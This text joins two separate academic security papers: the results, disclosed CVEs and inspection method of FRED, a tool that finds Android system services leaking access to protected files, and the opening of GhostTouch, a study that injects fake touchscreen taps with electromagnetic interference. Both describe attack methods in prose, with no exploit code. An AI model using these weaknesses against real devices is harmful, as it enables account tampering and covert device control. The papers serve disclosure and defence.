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Table 3: FRED Reducing Candidate RPC Entry Points

AOSP Pixel 3a Google Pixel 3a Samsung S20
All RPC Entry Points With Intermediate Expressions

# Intermediate Exprs. 7,331 7,281 8,150
# Regexes 462 463 769
# RPC Entry Points 2,927 2,985 4,163

Regex Matches of Security Sensitive Files After Exclusions
# Intermediate Exprs. 327 590 455
# Regexes 63 88 115
# RPC Entry Points 179 291 380
# Files 738 1,152 1,403

Candidate RPC Entry Points Requiring Manual Inspection
# Intermediate Exprs. 23 42 113
# Regexes 7 10 36
# RPC Entry Points 23 31 60
# Files 51 44 143

Table 4: Intermediate Expressions Excluded from Analysis

AOSP Pixel 3a Google Pixel 3a Samsung S20
Composed of System Specified Values of the RPC Caller

# Intermediate Exprs. 228 227 600
# Regexes 16 16 31
# RPC Entry Points 605 609 804

According to a List of Pre-Determined Safe File Method Callers
# Intermediate Exprs. 5,208 5,173 5,540
# Regexes 136 136 113
# RPC Entry Points 914 920 1,329

applied. Note that while we discuss the results in terms of
the number of unique RPC entry points, expressions, and
files, a candidate RPC entry point may have multiple files
that require separate manual inspections. For AOSP 10.0.0,
FRED identified 23 candidate RPC entry points potentially
re-delegating access to 51 files. Of these 23 deputies, 21
resulted from Java file accesses and 2 resulted from C/C++ file
accesses. Each of the 2 candidate RPC entry points accessed a
single file in C/C++ code that was not in the list of files being
accessed by the other 21 candidate RPC entry points. Similar
results were observed for the Google device, including the
same candidate RPC and files from the C/C++ code analysis.

A manual review of the 23 candidate RPC entry points for
AOSP 10.0.0 identified 10 deputies that both (a) are accessi-
ble by third-party applications and (b) improperly re-delegate
access to one or more security-sensitive the files. The remain-
ing 13 deputies safely use the files, either using them in a
way that is not accessible to a caller or in a way that the caller
could only retrieve or modify a subset of the data in the file
by design. The same vulnerable deputies were found in both
the Google and Samsung devices.

For the Samsung device, FRED identified significantly
more candidate RPC entry points (60) and files (143) com-
pared to both the AOSP 10.0.0 and Google devices. This
likely results from the Samsung device containing more RPC
entry points accessing files. The Samsung device included the
same candidate RPC entry points and files from the C/C++
code analysis as the AOSP 10.0.0 and Google devices. In-

Table 5: Regex Does Not Match Any Security Sensitive Files

AOSP Pixel 3a Google Pixel 3a Samsung S20
# Intermediate Exprs. 1,618 1,291 1,555
# Regexes 279 255 534
# RPC Entry Points 973 908 1,650

cluded in these 60 candidate RPC entry points were 2 that
re-delegate access to the same additional file from C/C++
code.

5.2.4 Impact of SEAndroid

Our re-delegation analysis did not account for the impact of
SEAndroid policy, which may restrict (a) the RPC entry point
from accessing a file even if allowed by the Unix permissions
and (b) a third-party application from accessing the service.

RPC entry points accessing files: The RPC entry points
considered by our analysis are registered with Android’s Ser-
vice Manager. We verified that most of the corresponding
services execute with the system_server SEAndroid label by
checking (1) whether a service gets started in system server’s
source code, (2) whether the service is running as a thread of
system server in ps -AZ, or (3) whether SEAndroid allows sys-
tem server to add the service. One exception is entry points
under com.android.internal.telephony which runs in the
com.android.phone process with radio SEAndroid label.

For each concrete security-sensitive file, we used SETo-

ols [1] to determine if the binary policy bundled with the
firmware allows the SEAndroid context (e.g., system_server)
of the entry point’s corresponding service to access the SEAn-
droid context for that file in any way. Empirically, we found
that SEAndroid does not affect our analysis with the AOSP
or Google Pixel 3a firmware. However, for the Samsung de-
vice, the SEAndroid policy removes 3 RPC entry point to file
mappings consisting of 2 RPC entry points and 3 files.

Apps accessing RPC entry points: We confirmed that the
SELinux policy does not restrict third-party applications from
calling the 10 vulnerable AOSP deputies discussed in Sec-
tion 5.3. SELinux policy defines call, transfer, and find

permissions for Binder service operations. The call and -
transfer permissions are generally granted to apps so that
they can make binder calls into the system server and ser-
vice manager. The find permission is commonly used to
allow finding services via the service manager (though An-
droid primarily gates access to services at the RPC entry point
level via Android permissions, not at the service level). The
AOSP policy allows the untrusted_app_all domain to find

any Binder service with the app_api_service SELinux at-
tribute. We confirmed that all four vulnerable AOSP system
services in Table 6 have this attribute. For the additional B-
lockchainTZService service in the Samsung device, we did
not observe the app_api_service attribute. However, due to
the more complex nature of the Samsung SELinux policy,
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we notified Samsung of the potential vulnerabilities anyway.
Interestingly, Samsung informed us that they fixed the two
vulnerable deputies adding SELinux policy to prevent third-
party applications from accessing BlockchainTZService.

5.3 Vulnerability Study
Table 6 shows the vulnerabilities discovered following our
manual inspection methodology described in Appendix B.
While some deputies may re-delegate access to multiple files,
we only report one vulnerability per deputy. We group the
re-delegation vulnerabilities into 3 categories: (1) ability to
manipulate data in the file(s), (2) exposure of data from or
about the file(s), and (3) denial of service. While 10 of the
12 vulnerabilities were originally discovered in AOSP 10.0.0,
they were confirmed to also exist in the Google and Samsung
devices. The remaining two vulnerabilities are specific to
the Samsung device. Finally, in all cases, the file path being
improperly accessed was statically defined in the code and
not controllable by an attacker.
Responsible Disclosure: We verified all of the potential re-
delegations in AOSP through manual inspection of source
code. All identified vulnerabilities identified in AOSP have
been submitted to Google via Android Security Rewards Pro-
gram. Of those submitted, 3 received a “moderate” severity
rating and have been assigned the common vulnerability and
exposures (CVE) identifiers CVE-2020-0208, CVE-2020-
0209, and CVE-2020-0210. All 3 CVE vulnerabilities were
fixed in the June 2020 security update for Android 10. The
two vulnerabilities identified in the Samsung device involved
code paths in native code for which we could not inspect.
We provided the names of the deputies and corresponding
JNI calls to Samsung, who confirmed the vulnerabilities and
assigned CVE identifiers CVE-2021-25460 and CVE-2021-
25459. Fixes for the Samsung vulnerabilities were released
to devices in September 2021.

5.3.1 VC1: Data Manipulation

FRED identified 5 vulnerabilities (1→5 in Table 6) that en-
able a third-party application to access or manipulate data in
security sensitive files. Deputies 1→4 allow third-party appli-
cations to manipulate data in the multiple files managed by the
AccountManagerService. For the purposes of this discussion,
we focus only on the key database files of /data/system_d-
e/0/accounts_de.db and /data/system_ce/0/accounts_ce.-

db as they are the main source of the vulnerabilities. Both
database files have ownership system:system.

In a multi-user system, removeSharedAccountAsUser and
renameSharedAccountAsUser (CVE-2020-0208 and CVE-
2020-0209) both allow any application running on the current
user to remove or rename the shared accounts (e.g., Facebook)
of that user. Account manipulation is typically restricted to
the application that manages the account. However, through

these deputies, any application can modify the shared account
data in the two database files, data which requires the caller
to have the system level permissions MANAGE_USERS and CR-

EATE_USERS to create. Similarly, invalidateAuthToken and
updateCredentials both manipulate data in these databases,
allowing any application to affect portions of the databases.

Deputy 5, add in the DropBoxManagerService, allows any
caller to clear system logging information which may hide
evidence of an attack. A call to add allows the caller to write
a data packet of any form to a temporary log file in the /dat-

a/system/dropbox with ownership system:system. However,
continuous calls to add cause the deputy to clear older logging
files when the device is low on space or the number of files
exceeds 1000. As such, an attacker could hide evidence of
their attacks by manipulating this deputy.

We note that Deputy 5 was previously independently iden-
tified by Invetter [47] via an alternative analysis approach
designed to study input validation. Whether or not Deputy 5
is a vulnerability is also subjective. The RPC documentation
indicates that it is designed to discards logged data after reach-
ing 1000 files. However, the service is designed to only be
accessed by other system services, as evidenced by the docu-
mentation and the system permissions checked by the other
RPCs (READ_LOGS or DUMP). We include it in our vulnerability
list, because it allows third-party applications to perform this
manipulation.

5.3.2 VC2: Data Leaks

FRED identified 5 deputies (6→10 in Table 6) that leak data
from security sensitive files to third-party applications. get-
SharedAccountsAsUser (CVE-2020-0210), like 1→2, affects
data in the databases managed by the AccountManagerServic-

e. It allows any application running on the current user to get
a list of the accounts for that user, an action that is typically
restricted to the application that manages the account. Similar
to 3→4, getPreviousName and isCredentialsUpdateSugge-

sted both manipulate data in the same databases. Finally,
deputies 9→10, return information about security sensitive
files, with getTotalBytes returning the size of /data and i-

sStorageLow returning if /data is low on space. /data has
ownership system:system.

5.3.3 VC3: Denial of Service

FRED identified 2 deputies (11→12 in Table 6) that result in
a local temporary denial of service. Both of these deputies
are unique to the Samsung firmware and exist within the Blo-

ckchainTZService. In both cases, the Java RPC entry points
(sspInit and sspExit) contain no authorization logic and
immediately call JNI methods (nativeSspInit and nativeS-

spExit). Our native code analysis identified that these JNI
methods both access the /dev/ssp device node, which is as-
signed the user and group system. We were unable to reverse

1536    31st USENIX Security Symposium USENIX Association



Table 6: A description of vulnerabilities, along with the services in which they are present.

Deputy (RPC Service) Impact Firmware File Path Vulnerability Description
VC1: Data Manipulation

1. removeSharedAccountAsUser
(AccountManagerService)

Moderate
(CVE)

AOSP Static Missing check isAccountManagedByCaller allows apps of the current user to remove shared
accounts they do not manage.

2. renameSharedAccountAsUser
(AccountManagerService)

Moderate
(CVE)

AOSP Static Missing check isAccountManagedByCaller allows apps of the current user to rename shared
accounts they do not manage.

3. invalidateAuthToken
(AccountManagerService)

Minor AOSP Static Missing check isAccountManagedByCaller allows callers to invalidate an authorization to-
ken for an account they do not manage.

4. updateCredentials
(AccountManagerService)

Minor AOSP Static Missing check isAccountManagedByCaller allows callers to update the credentials of an
account they do not manage.

5. add
(DropBoxManagerService)

Minor AOSP Static A missing permission check for writing to system log files allows any app to record system
restricted logging information.

VC2: Data Leaks
6. getSharedAccountsAsUser
(AccountManagerService)

Moderate
(CVE)

AOSP Static Missing check isAccountManagedByCaller allows apps of the current user to get shared
accounts they do not manage.

7. getPreviousName
(AccountManagerService)

Minor AOSP Static Missing check isAccountManagedByCaller allows any caller to get the previous name for
an account they do not manage.

8. isCredentialsUpdateSuggested
(AccountManagerService)

Minor AOSP Static Missing check isAccountManagedByCaller allows non-managing callers to see if the ac-
count credentials should be updated.

9. getTotalBytes
(StorageStatsService)

Minor AOSP Static Missing check for PACKAGE_USAGE_STATS allows any app to get the size of system restricted
directories /system and /data.

10. isStorageLow
(PackageManagerService)

Minor AOSP Static A lack of any authorization checks allows any app to determine if the system restricted direc-
tory /data is low on space.

VC3: Denial of Service
11. sspInit
(BlockchainTZService)

Moderate
(CVE)

Samsung Static Missing privilege check allows apps to perform temporary denial of service of the /dev/ssp
device node.

12. sspExit
(BlockchainTZService)

Moderate
(CVE)

Samsung Static Missing privilege check allows apps to perform temporary denial of service of the /dev/ssp
device node.

engineer the logic in the native library. We informed Sam-
sung of the potential vulnerability, and they confirmed that
the RPC entry points were indeed missing checks. Samsung
indicated that the missing checks allow a third-party applica-
tion to start or terminate the BlockchainTZService, leading
to a local temporary denial of service of the /dev/ssp device
node. Samsung assigned two CVEs (CVE-2021-25459 and
CVE-2021-25460) and added SELinux policy to ensure only
privileged callers can access the BlockchainTZService.

5.3.4 Non-Vulnerable RPCs

Of the 23 candidate RPCs for AOSP 10.0.0, 13 were deter-
mined to be non-vulnerable. As outlined in the inspection
methodology (Appendix B), these were eliminated for two
reasons. (1) The arguments passed in or actions of a RPC
caller could not effect modifications made to the files by the
RPCs or the data returned by the RPCs from the files. (2)
The RPCs were determined to be operating correctly by del-
egating restricted access to a more sensitive file. The same
reasoning was used to eliminate the additional 8 candidate
RPCs for the Google device. We also applied the reasoning to
the additional 35 candidate RPC entry points for the Samsung
device; however, the significant amount of new functionality
restricted the manual inspection. We focused efforts on RPCs
and files with interesting names, but found many new types
of Samsung-specific authorization checks, which prevented
improper file re-delegation.

6 Limitations

FRED relies on ACMiner [22] and retains many of its limi-
tations. These limitations include the limitations shared by
static analysis tools of Android (e.g., native code, runtime
modifications, reflection, dynamic code loading, and Message
Handlers), the inability to reason about authorization check
ordering, and manually defined input. In addition to the man-
ually defined input required by ACMiner, FRED requires a
domain expert to define the file methods used for file path
extraction. Additionally, as file access control policy is some-
times defined at runtime, FRED can only detect re-delegation
instances for files that exist on the device at the time the
file system dump is produced. Finally, as the extracted file
paths sometime depend on runtime generated values (e.g., val-
ues from databases, RPC callers, package information, etc.),
FRED approximates these values by replacing them with .*

in the regular expressions. We found these approximations
minimal effect on FRED’s ability to detect re-delegation.

7 Related Work

Nearly all modern operating systems rely on privileged
deputies to protect security sensitive resources while pro-
viding an interface for indirect access by lesser-privileged
software. As such, it is no surprise that confused deputy vul-
nerabilities [25] are a classic software security problem. Felt
et al. [19] were the first to directly discuss confused deputies
in the context of Android, introducing the concept of permis-
sion re-delegation (though Davi et al. [11] had previously
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identified privilege escalation attacks). However, these and
other works [13, 24, 31, 46] largely considered permission
re-delegation in cases where the deputies are applications.
Performing static program analysis of Android applications
is significantly easier than the Android framework, and there
are many tools [5, 20, 21] publicly available for doing so.

ARF [23] was the first tool to consider permission re-
delegation in the Android framework, which contains a highly
interconnected collection of system services that frequently
call RPC interfaces in one another. This work identified that
this high degree of interconnection combined with frequent
changes in ambient authority can easily result in confused
deputy vulnerabilities. However, ARF does not directly con-
sider files as protected resources. Rather, it considers the pro-
tection policy for each RPC entry point and identifies when a
caller entry point is not at least as restrictive as a callee entry
point. Similar to FRED, ARF is built upon ACMiner [22],
which identifies all of the RPC entry points in the Android
framework and extracts the access control checks that have
been hard-coded by developers. ACMiner’s design shares
much in common with Kratos [38] and AceDroid [2]. These
three tools seek to identify missing checks at RPC entry points
by using consistency as an approximation for correctness, as
there is no ground truth for the access control specification.
Invetter [47] combines machine learning and static program
analysis of Android system services to identify insecure in-
put validations, which represent service-specific sanity checks
when performing operations. A number of their findings relate
to missing permission checks in RPC entry points. Finally,
FANS [30] fuzzes entirely native system services; however, it
does not consider access control policy.

System service RPC entry points are similar to, but differ-
ent than the Android APIs called by third party applications.
These so called “public APIs” are wrappers around binder
IPC code that sends messages to a subset of the overall RPC
entry points. Mapping public Android APIs to permissions
is a well researched topic. Stowaway [16] fuzzes the APIs to
determine which permissions are required. PScout [6] uses
static call graph analysis of system service code. This ap-
proach is refined by Axplorer [7], which uses more detailed
program analysis. Most recently, Arcade [3] improved the
mapping by including logic requirements (e.g., permission A
or permission B vs. permission A and permission B). In doing
so, both Axplorer and Arcade provide enhanced techniques
to statically analyze code for RPC entry points.

Finally, prior work has also considered file access con-
trol policy in Android. Zhou et al. [49] compared Unix per-
missions across device vendors, identifying misconfigura-
tions. The introduction of SELinux for Android [40] gave
researchers a new target for analysis [27, 36, 37]. EASEAn-
droid [45] uses machine learning to classify SELinux audit
log events as benign or malicious. SPOKE [44] uses com-
patibility tests to approximate least-privilege execution and
identify over-permissive SEAndroid policy. Chen et al. [10]

and BigMAC [26] compare Unix permissions and SEAndroid
policy to identify access control policy flaws. FRED’s map-
ping between RPC entry points and files is a useful input to
consider in conjunction with SEAndroid policy analysis.

8 Conclusion
The Android framework prevents untrusted third-party appli-
cations from directly accessing sensitive resources by using
system services as privileged deputies. However, since ac-
cess control is hand-coded, there is potential for confused
deputy vulnerabilities. This paper proposed FRED, a static
program analysis tool that maps Android’s Java-based RPC
entry points to the security-sensitive files they access. By
contrasting permission checks by RPC entry points with the
corresponding file access control policy, FRED identifies
candidate RPC entry point that perform re-delegation. We
used FRED to study three devices running Android 10 and
identify 10 confused deputy vulnerabilities, three of which
were assigned moderate severity CVEs by Google. These
results demonstrate the utility of semi-automated approaches
to discover subtle flaws in access control enforcement.
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A Details of Java Path String Reconstruction

There are various scenarios when the use-def analysis for a
PlaceHolder node does not find a constant at the definition.
The following describes the special cases handled by FRED.
String Builders: The Java compiler translates inline string
concatenation into calls to the append() method of the Strin-

gBuilder and StringBuffer classes. While these classes have
many methods, we empirically found that only the append()

method occurred during our data flow analysis of file paths.
Furthermore, these instances were the result of inline string
concatenation, which allows FRED to assume all StringB-
uilder and StringBuffer objects are only used within the
method they are declared. Therefore, FRED handles these
classes using an Append node.
Path Builders: Android provides two similar APIs for file
path construction: buildPath() in android.os.Environment,
and get() in java.nio.file.Paths. Both methods take a root
file path and an array of zero or more file path parts, which

are appended to the root path. For example, calling build-

Path() with arguments /foo/bar, first/part, and /second-

/part produces the path /foo/bar/first/part/second/part.
Empirically, we found that the target array of file path parts is
generated at compile-time from a variable number of string
arguments. This observation allows FRED assumes the array
is defined and filled immediately before a call to buildPat-

h() and get(). Hence, FRED can determine the values in
the array. FRED uses an Append node to append the values,
inserting a ‘/’ between each part as needed.

Arrays and Collections: Extracting values from Arrays,
Collections, Iterators, and Maps is a known hard problem
for static analysis. Therefore, in most cases FRED represents
access to them as Any nodes. Exceptions include the Paths
and Environment scenarios.

Directory Listing: The java.io.File class provides five
methods for listing files in the directory. Since the return
value is runtime dependent, FRED appends an Any node to
the child path of a known directory path.

Parent Path and File Name: The java.io.File and java.-

nio.file.Path classes provide methods for getting the parent
path or file name of a existing file path. To model this func-
tionality, FRED uses the Parent and Name nodes. These
Branch nodes wrap an expression for the existing path, in-
dicating that either the parent path or file name needs to be
resolved once the existing path expression is known.

Environmental Variable and System Properties: Some
file paths are constructed from the values of environmen-
tal variables and system properties. However, these runtime
values can be looked up using a string that exists in the Java
source code. Therefore, FRED uses its data flow analysis
to determine the lookup string, which can be resolved later.
As such, FRED encodes lookup strings into intermediate
expressions using EnvVar and SysVar nodes.

Fields in Android Classes: The use-def analysis occasion-
ally encountered class fields which are initialized outside of
the path from the RPC entry point to the file method. To han-
dle these fields, we first perform a forward def-use analysis
to determine all possible assignment sites for all the fields of
the Android framework. Later, during our backwards data
flow analysis, FRED replaced uses of class fields with their
assignment sites and resolves them normally, combining all
of the possible values with a Or node. For any class field
whose value could not be resolved, FRED uses an Any node
(e.g., fields in android.content.pm.PackageParser and and-

roid.content.pm.ApplicationInfo).

B Manual Inspection Methodology

We used the following methodology when inspecting the
candidate RPC entry points to determine if a vulnerability
exists.
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1. Have FRED dump call graph representations of all can-
didate RPC entry points to aid in the analysis.

2. Confirm that the RPC entry point is callable by a third
party application by reviewing the authorization logic in
the source/decompiled code. While FRED’s ability de-
termine if a RPC entry point can be called by third party
applications is effective for both the AOSP and Google
builds of Android 10, Samsung’s unique authorization
checks caused some reported RPC entry points to not be
callable from third party applications.

3. Using the source code and call graph dump, for each file
path, determine if the statement that opens the file path
is actually reachable from the RPC entry point and is not
a result of the over approximation nature of CHA call
graphs.

4. For each file path of a candidate RPC entry point, de-
termine if the file path can be influenced by the caller
of the RPC entry point through arguments passed into
the RPC or through other means by examining the call
graph dumps and source/decompiled code. In practice,
we observed no such RPCs.

5. For each file path of a candidate RPC entry point, using
the source/decompiled code and call graph dumps, de-
termine if the arguments passed in or actions of a RPC
caller effect modifications made to a file by the RPC or
the data returned by the RPC from a file.

6. As it is common for RPC entry points to delegate partial
access to files with generally more restrictive access
control policy, determine if this flow is intended and
properly protected by some form of authorization logic.
If the flow is determined to not be intended or properly
protected by some form of authorization logic then it
is considered a vulnerability, withstanding the SELinux
policy confirmation.

7. Confirm the SELinux policy does not restrict (a) the RPC
entry point from accessing the file path and (b) third-
party applications from calling the RPC entry point.
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Abstract
Capacitive touchscreens have become the primary human-
machine interface for personal devices such as smartphones
and tablets. In this paper, we present GhostTouch, the first
active contactless attack against capacitive touchscreens.
GhostTouch uses electromagnetic interference (EMI) to in-
ject fake touch points into a touchscreen without the need
to physically touch it. By tuning the parameters of the elec-
tromagnetic signal and adjusting the antenna, we can inject
two types of basic touch events, taps and swipes, into tar-
geted locations of the touchscreen and control them to ma-
nipulate the underlying device. We successfully launch the
GhostTouch attacks on nine smartphone models. We can in-
ject targeted taps continuously with a standard deviation of
as low as 14.6×19.2 pixels from the target area, a delay of
less than 0.5s and a distance of up to 40mm. We show the
real-world impact of the GhostTouch attacks in a few proof-
of-concept scenarios, including answering an eavesdropping
phone call, pressing the button, swiping up to unlock, and
entering a password. Finally, we discuss potential hardware
and software countermeasures to mitigate the attack.

1 Introduction

Touchscreens allow users to interact with computers us-
ing their fingers and have become a trending alternative to
mouses and keyboards. In particular, capacitive touchscreens
provide multi-touch capabilities, long service life, and cost-
effectiveness, and therefore, have been widely used on per-
sonal devices such as smartphones, tablets and watches, and
even on safety-critical devices such as medical equipment [26]
and spacecraft [13].

Reliable and accurate touch sensing is a critical requirement
for touchscreens on all devices. However, the ability to mea-
sure small electric fields also makes capacitive touchscreens
sensitive to environmental impacts such as electromagnetic

*Kai and Richard are co-first authors.
†Xiaoyu Ji is the corresponding author.
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Figure 1: A GhostTouch attack scenario. The attacker uses an
EMI device under a table to remotely attack the touchscreen
of a smartphone face-down on the table. By injecting fake
touches, the attacker can trick the smartphone to (1) click a
malicious link containing malware, (2) connect a malicious
network, and (3) answer an eavesdropping phone call.

interference (EMI) [10] and charger noise [23], which can in-
duce fake touches that may greatly impair user experience and
even cause unintended device behavior. For instance, there
are numerous reports about unresponsive, self-tapping and
malfunctioning touchscreens caused by EMI emitted through
fluorescent lights [6] and faulty chargers [28, 41, 43].1

At first glance, the impact of EMI on capacitive touch-
screens seems to be largely unpredictable, and hence may
not be exploited for targeted attack on the underlying device.
Therefore, our motivation and focus in this paper is to address
the research question of whether it is possible for an attacker
to use EMI to inject controllable fake touches to a touchscreen
without any physical contact and manipulate the underlying
device in a predictable way. EMI attacks on devices have been
studied before. However, as we elaborate on related work in
Section 8, and to the best of our knowledge, there have been
no published EMI attacks on capacitive touchscreens that can
manipulate touch points on the touch screen without requiring
any physical contact.

We propose GhostTouch, the first contactless EMI-attack
against capacitive touchscreens. The core idea is to inter-
fere with the capacitance measurement of touchscreens using
electromagnetic signals, which are injected into the receiv-

1In one case a malfunctioning touchscreen even booked a thousand-dollar
hotel room itself without the owner’s awareness [33].
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ing electrodes integrated into the touchscreen. As a result, an
electromotive force is induced in the measuring circuit that
affects the touch point detection.

To achieve our attack we had to overcome two technical
challenges: 1) It is difficult to affect a touchscreen by EMI,
since modern touchscreens and devices go through thorough
electromagnetic compatibility (EMC) tests [31] and utilize
anti-interference design such as shielding [35] and layout
optimization [7] to avoid the influence of environmental in-
terference. To address this challenge, we carefully design the
transmitting antenna, signal frequency, and attack distance to
improve the electromagnetic signal propagation gain, there-
fore, achieving an effective touch injection. 2) Even if we can
inject touches, it is still difficult to create predictable touch
events with the touchscreen specifics undisclosed and varying
from device to device. We probe the screen to disclose the
touchscreen specifics and adjust the parameters of the attack
signal accordingly to inject predictable touch events, such as
a tap, a swipe-up, or a swipe-down in targeted locations.

Overcomming these challenges, our attack can inject two
types of basic touch events, taps and swipes, into a targeted lo-
cation of the touchscreen without any physical contact. Most
complex gestures can be achieved by the combination of these
two basic interactions. By tuning the parameters of the elec-
tromagnetic signal and adjusting the antenna, we can control
the location and pattern of the fake touches and achieve vari-
ous touch behaviors including press and hold, swipe to select,
slide to scroll, etc., depending on the device model.

We demonstrate the feasibility of this attack in the real
world with the setup as shown in Figure 1. In places like a cafe,
library, meeting room, or conference lobbies, people might
place their smartphone face-down on the table2. An attacker
may embed the attack equipment under the table and launch
attacks remotely. For example, an attacker may impersonate
the victim to answer a phone call which would eavesdrop the
private conversation, or visit a malicious website.

Our main contributions are as follows:

• We propose GhostTouch, the first contactless attack
against capacitive touchscreens that can inject taps and
swipes into a targeted location of the touchscreen and
control the fake touch behavior without any physical
contact.

• We evaluate GhostTouch attacks successfully on touch-
screens of 9 different smartphone models. Our attack
can target any area on the touch screen. For example, on
Nexus 5X we can inject taps continuously into an area
as small as 36.3×175.8 pixels with an delay of less than
0.5 seconds and inject targeted swipes with a success
rate of 62.5% and an average delay of 1.6 seconds.

• We demonstrate the real-world impact of GhostTouch

2A study [20] among 3246 participants shows that 54.37% of people
would often or sometimes set their phones face-down on the table.

AFE IC

Touch sensor

Excitation 
signal (TX) MCUDigital

data

Charge signal (RX)

Figure 2: Typical system architecture of a capacitive touch-
screen.

with 4 practical attack scenarios: answering an eaves-
dropping phone call3, pressing the button, swiping up to
unlock, and entering a password.

• We suggest both hardware and software countermeasures
to protect touchscreens from such attacks.

2 Background on Capacitive Touchscreens

A capacitive touchscreen is an input device normally layered
on top of the display that detects human touches based on
the capacitance variation. When a finger touches the screen,
the capacitance at the touch point changes significantly as the
charge stored in the screen gets drawn to the finger. By moni-
toring the capacitance variation at each point of the screen, a
touchscreen can detect touch points and report touch events,
e.g., tap, swipe, based on the timing and the locations of the
detected touch points. For example, two consecutive touch
points in aerial vicinity are recognized by the OS as a swipe,
reported to the corresponding app as a swipe over two (touch)
points. In the following, we introduce the most popular design
of capacitive touchscreens used on smartphones, i.e., a system
architecture supporting mutual capacitive sensing and scan
driving method, which we consider in this paper.

System architecture: Figure 2 shows a typical system
architecture of capacitive touchscreens [25], which includes a
touch sensor, an analog front-end integrated circuit (AFE IC),
and a micro controller unit (MCU). The touch sensor consists
of a grid of transmitting (TX) and receiving (RX) electrodes
made of transparent conductive materials, e.g., indium-tin-
oxide (ITO). The AFE IC sends excitation signals to the
TX electrodes and measures the charge signal from the RX
electrodes. The charge signal is digitized and sent to the MCU,
which processes the signal and detects touch events. This
architecture is designed to support two efficient methods that
enable multi-touch sensing, i.e., mutual capacitive sensing,
which relates to how the capacitance variance at a single
point is measured, and scan driving method, which is used
in combination with mutual capacitive sensing to locate the
touch points.

Mutual capacitive sensing: When an excitation signal is
applied to a TX electrode, the electrode generates an electric

3Video demo: https://github.com/USSLab/GhostTouch
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Figure 3: Illustration of mutual capacitive sensing and scan
driving method.

field that creates a flow of electric charge to the air-gapped RX
electrodes, which essentially forms a mutual capacitance CM
between the RX and TX electrodes at each intersection [27],
as shown in Figure 3(a). When a finger touches the screen,
it absorbs a part of the electric field and changes the mutual
capacitance to CM −∆CM , where ∆CM is caused by the charge
drawn to the finger. In this case, the variance of capacitance
changes the charge signal measured by the RX electrode, and
a touch point at the intersection of RX and TX is detected.
The excitation signal is normally a square wave with a fre-
quency of 100 kHz to 500 kHz. Mutual capacitive sensing
outperforms other methods such as self-capacitive as it can
efficiently locate the touch point by exploiting TX-RX pairs.

Scan driving method: The scan driving method
(SDM) [16, 17] is designed to locate the touch points on
the screen by exciting all TX electrodes in turn, as shown in
Figure 3(b). As only one TX is excited at a time, the touch-
screen can locate a touch to a specific position by the row
and column of the active TX-RX pair and can also support
multi-touch detection. SDM involves several major parame-
ters: the number of TX electrodes N, the time it takes to scan
all TX electrodes Tp, and the time it takes to scan one TX
electrode Tp1. Compared with other methods, the scan driving
method has a simple structure, shorter sensing time, and lower
signal-to-noise ratio (SNR) and has been adopted on most
smartphones.

3 Feasibility of Injecting Touches with EMI

Capacitive touchscreens detect touches based on the charge
signals on the RX electrodes and locate touches by scan-
ning the TX electrodes. However, the RX and TX electrodes
are essentially conductors that electromagnetic waves may
couple on (i.e., convert to electrical signals) and interfere
with the touch sensing. Therefore, we are motivated to ex-
plore the feasibility of injecting fake touch points into the
touchscreens of various smartphones using electromagnetic
interference (EMI) and analyze the distribution of the injected
touch points.

Electromagnetic interference: Electromagnetic interfer-
ence [21] appears when undesirable voltages or currents are
present in the environment of a device. This can lead to mal-

(a) Electrostatic gun and antenna.

186 ns

(b) Generated pulse signal.

Figure 4: (a) The experiment setup of the feasibility study
and (b) a pulse signal generated by the electrostatic gun. The
pulse lasts for 186 ns.

functioning or degradation of the performance. The voltages
or currents may affect a device by conduction or radiation.
In our case, we focus on electromagnetic interference by ra-
diation, which can interfere with a device through electro-
magnetic coupling, a phenomenon that generates an elec-
trical charge in the electrical wiring or circuits of a device.
Maxwell’s equation explains the principle of electromagnetic
coupling:

∮
∂Σ E ·dl =−

∫
Σ

∂B
∂t ·dA, where ∂Σ is a closed con-

tour, Σ is a surface bounded by ∂Σ, E is the electric field, B is
the magnetic field, dl is an infinitesimal vector of ∂Σ, and dA
is an infinitesimal vector of Σ. In a touchscreen, the measur-
ing circuit can be considered as the closed contour ∂Σ. The
changing magnetic field B of an electromagnetic radiation
passing through the surface Σ of a touchscreen can induce an
electromotive force as the left part of the equation, which may
affect the capacitance measurement of touchscreens.

Experiment setup: The experiment setup is shown in Fig-
ure 4(a). We use an electrostatic gun [1] to generate a strong
pulse signal, which is sent to an antenna we made using
Dupont jumper wires and gets converted to strong electromag-
netic interference. The electrostatic gun can generate short
pulses with the waveform shown in Figure 4(b), and the pulse
amplitude can vary from 1kV to 18kV. In this experiment,
we set the amplitude to 10kV. We place a 5mm-thick acrylic
board between the antenna and the phone’s touchscreen, and
inject EMI with the antenna at two types of positions: parallel
to the vertical or horizontal edges of the phone. We experi-
ment on 12 phone models and show the results in Table 1.

Results: Although the capacitive touchscreens of smart-
phones go through thorough electromagnetic compatibility
tests and anti-interference design, 8 of the 12 tested smart-
phones are susceptible to EMI. We record and analyze the
distribution of the injected points on the 8 phones. We ob-
serve two types of results regarding the density and distribu-
tion of the injected points. Among the 8 susceptible phones,
two can only be injected with sparse fake points while six
can be injected with dense fake points, indicating a greater
susceptibility and a higher attack success rate. The injected
points distribute along a horizontal line of the touchscreen
on 3 phones and a vertical line on other three other phones,
validating the possibility to inject fake points along both the
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Table 1: Results of injecting fake touch points on 12 phones.
Phone model Success Injection Speed Point Distribution

Sparse Dense Horizontal Vertical
Nexus 5X � × � × �

Google Pixel 1 � × � × �
OPPO K3 × N/A N/A N/A N/A

OPPO Reno × N/A N/A N/A N/A
OPPO Reno 2 � × � � ×
OPPO Reno 3 × N/A N/A N/A N/A

OPPO Reno 3 Pro � × � � ×
One Plus 8T � � × × ×

Huawei P10 Plus � × � � ×
Huawei P40 � � × × ×

Samsung S20 FE � × � × �
iPhone 7 Plus × N/A N/A N/A N/A

horizontal and vertical direction of the touchscreen.
Observations of the touch point distribution: We show

the distribution of the injected touch points with Google Pixel
1, Nexus 5X and Huawei P10 Plus as an example. The touch
point data is recorded using the Android Debug Bridge (ADB).
Figure 19 in Appendix shows a visual distribution of the in-
jected points on the three phones, and Figure 20 in Appendix
shows the cumulative distribution function (CDF) plots of
the injected points along the horizontal (X-axis) and verti-
cal (Y-axis) directions. The results show that more than half
of the injected points are distributed nearly uniformly on a
specific line of the touchscreen where the antenna is placed,
either vertical (Google Pixel 1 and Nexus 5X) or horizontal
(Huawei P10 Plus). The direction of fake point distribution
is the same as the direction of the antenna. We believe the
difference in distribution is due to the different touchscreen
layouts, especially the RX electrodes. For example, the RX
electrodes of Nexus 5X are vertical while the RX electrodes
of Huawei P10 Plus are horizontal, which all correspond to
the distribution of fake points on these phones.

Observations of the capacitance variation: We further
explore the reason behind fake touch points based on the
